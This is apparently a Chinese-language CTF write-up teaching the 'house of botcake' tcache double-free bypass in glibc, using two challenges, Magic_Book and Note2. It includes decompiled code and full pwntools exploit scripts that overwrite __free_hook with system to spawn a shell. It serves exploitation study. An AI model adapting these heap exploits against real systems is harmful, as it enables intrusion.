house of botcake & Tcache Double Free学习利用
house of botcake & Tcache Double Free学习利用
house of botcake介绍:
高版本unsortedbin中double free打tcache poisoning:
Glibc 2.29版本新增了Tcache Key机制来应对Tcache Double Free,house of botcake是利用UAF漏洞将Chunk存入Unsorted bin中,绕过Tcache Key机制的检查进行Double Free,使得Chunk再次存入到Tcache bin中
利用条件:
- 存在 UAF 漏洞
- 可以进行至少两次 Free 操作
源码分析:
Tcache Key机制介绍
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
被free的堆块进入unsorted bin中,避免了key的生成。当堆块再次free进入tcache后,就绕过了Tcache Key机制的检查,从而能够实现高版本的tcache double free
2022DAS10Y Magic_Book
静态分析:
[*] '/home/shu/mypwn/House of house/house of botcake/Magic_Book/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序没有edit函数和show函数,然后有只能用一次的UAF漏洞。对申请的字节数还有限制,最大为0x100
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
int v4; // [rsp+Ch] [rbp-14h] BYREF
int *v5; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf_0(a1, a2, a3);
v4 = 0;
v5 = &v4;
book_of_wishes();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", v5);
v3 = *v5;
if ( *v5 != 9 )
break;
delete_uaf();
}
if ( v3 <= 9 )
{
if ( v3 == 1 )
{
add();
}
else if ( v3 == 2 )
{
delete();
}
}
}
}
__int64 delete_uaf()
{
int idx; // [rsp+Ch] [rbp-4h]
if ( dword_4054 > 0 )
{
puts("Wrong!\n");
exit(0);
}
printf("Index: ");
idx = read_idx();
free(*((void **)&unk_4060 + idx));
return (unsigned int)++dword_4054;
}
int delete()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
if ( dword_4050 > 1 )
{
puts("There is now an opportunity to withdraw, but sometimes...");
++dword_4050;
}
result = dword_405C;
if ( dword_405C <= 10 )
{
printf("Index: ");
result = read_idx();
v1 = result;
if ( (unsigned int)result <= 0x11 )
{
if ( !*((_QWORD *)&unk_4060 + result) )
{
puts("Wrong!\n");
exit(0);
}
free(*((void **)&unk_4060 + result));
*((_QWORD *)&unk_4060 + v1) = 0LL;
return puts("Done!\n");
}
}
return result;
}
动态调试:
这题如果单纯的打house of botcake,那么后续只能打io leak泄露一个堆地址。如果想第二次打tcache poisoning的话,就必须要进行一点布局
add(0x100,'a')
add(0x100,'b')
add(0x80,'c')
payload=p64(0xdeadbeef)*14+p64(0x180)+p64(0x90)
add(0x100,payload)#size and prev_size of unsigned bin to be forged
for i in range(6):
add(0x100,'a')
for i in range(3,10):
delete(i)
uaf(1)
delete(0)
将 chunk3-10 delete来把tcachebin填满
free掉chunk1,再将chunk0 delete来与chunk1合并
add(0x100,'a')#take one from tcache bin
delete(1)#double free
原chunk1 double free
add(0x70,'a')#let the fd pointer of unsorted bin local tcache bin
add(0x80,'a')
add(0x90,'\xa0\x46')#stdout struct
申请不同于0x100大小的堆块来分割unsortedbin
payload=p64(0xdeadbeef)*18+p64(0)+p64(0x180)
add(0x100,payload)#tamper size of unsorted bin
原chunk1剩余的部分杯篡改为0x180大小
我们先前对chunk4的布置,伪造的prev_size和size
payload=p64(0xfbad1887)+p64(0)*3+b'\x00'
add(0x100,payload)#io leak
io leak泄露libc地址
delete(12)
delete(2)#second tcache poisoning
payload=p64(0xdeadbeef)*12+p64(0x70)+p64(0x90)+p64(free_hook)
add(0xb0,payload)#Cut a piece of memory from unsorted bin to control the fd pointer of tcache bin
add(0x80,'/bin/sh\x00')
add(0x80,p64(sys_addr))
exp:
# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
# from ae64 import AE64
# from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
def add(size,content):
p.sendlineafter("Your choice : ",str(1))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)
def delete(index):
p.sendlineafter("Your choice : ",str(2))
p.sendlineafter("Index: ",str(index))
def uaf(index):
p.sendlineafter("Your choice : ",str(9))
p.sendlineafter("Index: ",str(index))
def pwn():
add(0x100,'a')#prev
add(0x100,'b')#victim
add(0x80,'c')#second tcache poisoning.after the first tcache poisoning,the 0x100 tcache chain will bad
#so we need to prepare 0x80 tcache chain
payload=p64(0xdeadbeef)*14+p64(0x180)+p64(0x90)
add(0x100,payload)#size and prev_size of unsigned bin to be forged
for i in range(6):
add(0x100,'a')
for i in range(3,10):
delete(i)
uaf(1)
delete(0)
add(0x100,'a')#take one from tcache bin
delete(1)#double free
add(0x70,'a')#let the fd pointer of unsorted bin local tcache bin
add(0x80,'a')
add(0x90,'\xa0\x46')#stdout struct
payload=p64(0xdeadbeef)*18+p64(0)+p64(0x180)
add(0x100,payload)#tamper size of unsorted bin
payload=p64(0xfbad1887)+p64(0)*3+b'\x00'
add(0x100,payload)#io leak
leak_libc=l64()
libc_base=leak_libc-0x1ec980
li('libc_base = '+hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
sys_addr=libc_base+libc.symbols['system']
delete(12)
delete(2)#second tcache poisoning
payload=p64(0xdeadbeef)*12+p64(0x70)+p64(0x90)+p64(free_hook)
add(0xb0,payload)#Cut a piece of memory from unsorted bin to control the fd pointer of tcache bin
add(0x80,'/bin/sh\x00')
add(0x80,p64(sys_addr))
delete(17)
p.interactive()
while 1:
try:
p = process('./pwn')
libcso = './libc'
libc = ELF(libcso)
elf = ELF('./pwn')
pwn()
except:
p.close()
Note2
静态分析:
保护全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
常规菜单题,没有edit功能
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned __int64 number; // rax
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
print_menu();
number = get_number();
if ( number == 4 )
{
puts("Bye!");
exit(0);
}
if ( number <= 4 )
{
switch ( number )
{
case 3uLL:
op_view();
goto LABEL_13;
case 1uLL:
op_malloc();
goto LABEL_13;
case 2uLL:
op_free();
goto LABEL_13;
}
}
puts("Invalid choice!");
LABEL_13:
putchar(10);
}
}
在op_free函数中观察到很明显的UAF漏洞
void op_free()
{
__int64 index; // [rsp+8h] [rbp-8h]
puts("Index?");
index = get_index();
free(*((void **)&chonks + index));
}
和上一题的打法相似,依旧是围绕double free做文章
exp:
# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"
name = './pwn'
debug = 0
if debug:
p = remote('127.0.0.1',8000)
else:
p = process(name)
libcso = './libc.so.6'
libc = ELF(libcso)
elf = ELF(name)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
add_idx = 1
free_idx = 2
show_idx = 3
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
def choice(cho):
sla('> ',cho)
def add(idx,size,con):
choice(add_idx)
sla('Index?\n',idx)
sla('Size?\n',size)
p.sendlineafter('content: ',con)
def delete(idx):
choice(free_idx)
sla('Index?\n',idx)
def show(idx):
choice(show_idx)
sla('Index?\n',idx)
add(0,0x100,'aaa') #F
add(1,0x100,'bbb') #C
for i in range(2,9):
add(i,0x100,'eee')
for i in range(2,9):
delete(i)
delete(1)
show(1)
libc_base=l64()-0x1ecbe0
li('libc_base = '+hex(libc_base))
free_hook=libc_base+0x1eee48
system=libc_base+0x52290
delete(0)
add(2,0x100,'tcache')
delete(1) #double free
add(3,0x70,'111')
add(4,0x80,'222')
add(5,0x90,p64(free_hook))
add(6,0x100,'/bin/sh\x00')
add(7,0x100,p64(system))
delete(6)
itr()
成功getshell
0 条评论
可输入 255 字